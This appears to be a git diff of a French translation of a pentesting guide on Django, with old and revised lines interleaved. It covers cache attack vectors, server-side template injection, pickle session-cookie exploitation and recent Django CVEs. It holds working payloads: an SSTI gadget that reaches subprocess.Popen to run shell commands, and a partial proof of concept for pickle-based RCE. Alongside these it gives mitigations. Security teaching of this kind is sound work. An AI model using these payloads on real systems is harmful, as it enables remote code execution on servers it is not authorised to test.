Le cache de Django est stocké dans l'un des quatre endroits suivants : [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [mémoire](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [fichiers](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou une [base de données](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Le cache stocké dans un serveur Redis ou une base de données est le vecteur d'attaque le plus probable (injection Redis et injection SQL), mais un attaquant peut également être en mesure d'utiliser un cache basé sur des fichiers pour transformer une écriture arbitraire en RCE. Les mainteneurs ont marqué cela comme un non-problème. Il est important de noter que le dossier de fichiers de cache, le nom de la table SQL et les détails du serveur Redis varieront en fonction de l'implémentation.
|
||||
Le cache Django est stocké dans l'un des quatre endroits suivants : [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou une [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Le cache stocké dans un serveur Redis ou une database constitue les vecteurs d'attaque les plus probables (Redis injection et SQL injection), mais un attaquant peut aussi exploiter un cache basé sur des fichiers pour transformer une écriture arbitraire en RCE. Les mainteneurs ont considéré cela comme non-problématique. Il est important de noter que le dossier des fichiers de cache, le nom de la table SQL et les détails du serveur Redis varient selon l'implémentation.
|
||||
|
||||
Ce rapport HackerOne fournit un excellent exemple reproductible d'exploitation du cache Django stocké dans une base de données SQLite : https://hackerone.com/reports/1415436
|
||||
Ce rapport HackerOne fournit un excellent exemple reproductible d'exploitation du cache Django stocké dans une base SQLite : https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## Injection de modèle côté serveur (SSTI)
|
||||
Le langage de modèle Django (DTL) est **Turing-complet**. Si les données fournies par l'utilisateur sont rendues sous forme de *chaîne de modèle* (par exemple en appelant `Template(user_input).render()` ou lorsque `|safe`/`format_html()` supprime l'auto-échappement), un attaquant peut atteindre un SSTI complet → RCE.
|
||||
## Server-Side Template Injection (SSTI)
|
||||
Le Django Template Language (DTL) est **Turing-complet**. Si des données fournies par l'utilisateur sont rendues comme une *template string* (par exemple en appelant `Template(user_input).render()` ou lorsque `|safe`/`format_html()` supprime l'auto-escaping), un attaquant peut obtenir une SSTI complète → RCE.
|
||||
|
||||
### Détection
|
||||
1. Recherchez des appels dynamiques à `Template()` / `Engine.from_string()` / `render_to_string()` qui incluent *toute* donnée de requête non assainie.
|
||||
2. Envoyez une charge utile basée sur le temps ou arithmétique :
|
||||
1. Recherchez des appels dynamiques à `Template()` / `Engine.from_string()` / `render_to_string()` qui incluent *n'importe quelle* donnée de requête non assainie.
|
||||
2. Envoyez une payload temporelle ou arithmétique :
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
Si la sortie rendue contient `49`, l'entrée est compilée par le moteur de modèle.
|
||||
Si la sortie rendue contient `49`, l'entrée est compilée par le moteur de templates.
|
||||
|
||||
### Primitive à RCE
|
||||
Django bloque l'accès direct à `__import__`, mais le graphe d'objets Python est accessible :
|
||||
### Primitive pour RCE
|
||||
Django bloque l'accès direct à `__import__`, mais le graphe d'objets Python reste accessible :
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
Trouvez l'index de `subprocess.Popen` (≈400–500 selon la version de Python) et exécutez des commandes arbitraires :
|
||||
Trouvez l’index de `subprocess.Popen` (≈400–500 selon la build de Python) et exécutez des commandes arbitraires :
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
Un gadget universel plus sûr consiste à itérer jusqu'à ce que `cls.__name__ == 'Popen'`.
|
||||
Un gadget universel plus sûr consiste à itérer jusqu'à `cls.__name__ == 'Popen'`.
|
||||
|
||||
Le même gadget fonctionne pour les fonctionnalités de rendu de **Debug Toolbar** ou **Django-CMS** qui gèrent mal l'entrée utilisateur.
|
||||
Le même gadget fonctionne pour **Debug Toolbar** ou les fonctionnalités de rendu de templates de **Django-CMS** qui gèrent mal les entrées utilisateur.
|
||||
|
||||
---
|
||||
|
||||
## Exécution de Code à Distance via Cookie de Session Basé sur Pickle
|
||||
Si le paramètre `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` est activé (ou un sérialiseur personnalisé qui désérialise pickle), Django *décrypte et désérialise* le cookie de session **avant** d'appeler tout code de vue. Par conséquent, posséder une clé de signature valide (la `SECRET_KEY` du projet par défaut) suffit pour une exécution immédiate de code à distance.
|
||||
### Voir aussi : ReportLab/xhtml2pdf — RCE d'export PDF
|
||||
Les applications basées sur Django intègrent couramment xhtml2pdf/ReportLab pour exporter des vues en PDF. Lorsque du HTML contrôlé par l'utilisateur est utilisé dans la génération de PDF, rl_safe_eval peut évaluer des expressions à l'intérieur de triples crochets `[[[ ... ]]]`, permettant l'exécution de code (CVE-2023-33733). Détails, payloads, et mesures d'atténuation :
|
||||
|
||||
### Exigences d'Exploitation
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## RCE via cookie de session basé sur Pickle
|
||||
Si le paramètre `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` est activé (ou un serializer personnalisé qui désérialise pickle), Django *decrypts and unpickles* le cookie de session **avant** d'appeler tout code de vue. Par conséquent, posséder une clé de signature valide (le `SECRET_KEY` du projet par défaut) suffit pour une exécution de code à distance immédiate.
|
||||
|
||||
### Exploit Requirements
|
||||
* Le serveur utilise `PickleSerializer`.
|
||||
* L'attaquant connaît / peut deviner `settings.SECRET_KEY` (fuites via GitHub, `.env`, pages d'erreur, etc.).
|
||||
* L'attaquant connaît / peut deviner `settings.SECRET_KEY` (leaks via GitHub, `.env`, pages d'erreur, etc.).
|
||||
|
||||
### Preuve de Concept
|
||||
### Preuve de concept
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from django.contrib.sessions.serializers import PickleSerializer
|
||||
@ -60,20 +69,21 @@ print(f"sessionid={mal}")
|
||||
```
|
||||
Envoyez le cookie résultant, et le payload s'exécute avec les permissions du worker WSGI.
|
||||
|
||||
**Atténuations** : Gardez le `JSONSerializer` par défaut, faites tourner le `SECRET_KEY`, et configurez `SESSION_COOKIE_HTTPONLY`.
|
||||
**Atténuations** : Conserver le `JSONSerializer` par défaut, changer régulièrement la `SECRET_KEY`, et configurer `SESSION_COOKIE_HTTPONLY`.
|
||||
|
||||
---
|
||||
|
||||
## CVEs Django à Fort Impact Récents (2023-2025) que les Pentesters Doivent Vérifier
|
||||
* **CVE-2025-48432** – *Injection de Log via `request.path` non échappé* (corrigé le 4 juin 2025). Permet aux attaquants de faire passer des nouvelles lignes/des codes ANSI dans les fichiers journaux et de polluer l'analyse des journaux en aval. Niveau de patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Injection SQL critique* dans `QuerySet.values()/values_list()` sur `JSONField` (CVSS 9.8). Créez des clés JSON pour sortir des guillemets et exécuter du SQL arbitraire. Corrigé dans 4.2.15 / 5.0.8.
|
||||
## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
|
||||
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (corrigé le 4 juin 2025). Permet aux attaquants d'introduire des sauts de ligne/ des codes ANSI dans les fichiers de log et de contaminer l'analyse de logs en aval. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Concevoir des clés JSON qui brisent les guillemets et permettent d'exécuter du SQL arbitraire. Corrigé dans 4.2.15 / 5.0.8.
|
||||
|
||||
Toujours identifier la version exacte du framework via la page d'erreur `X-Frame-Options` ou le hash de `/static/admin/css/base.css` et tester ce qui précède lorsque cela est applicable.
|
||||
Identifiez toujours la version exacte du framework via la page d'erreur `X-Frame-Options` ou le hash de `/static/admin/css/base.css` et testez ce qui précède le cas échéant.
|
||||
|
||||
---
|
||||
|
||||
## Références
|
||||
* Publication de sécurité Django – "Django 5.2.2, 5.1.10, 4.2.22 traitent CVE-2025-48432" – 4 juin 2025.
|
||||
* OP-Innovate : "Django publie des mises à jour de sécurité pour traiter la faille d'injection SQL CVE-2024-42005" – 11 août 2024.
|
||||
## References
|
||||
* Publication de sécurité Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
|
||||
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
|
||||
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user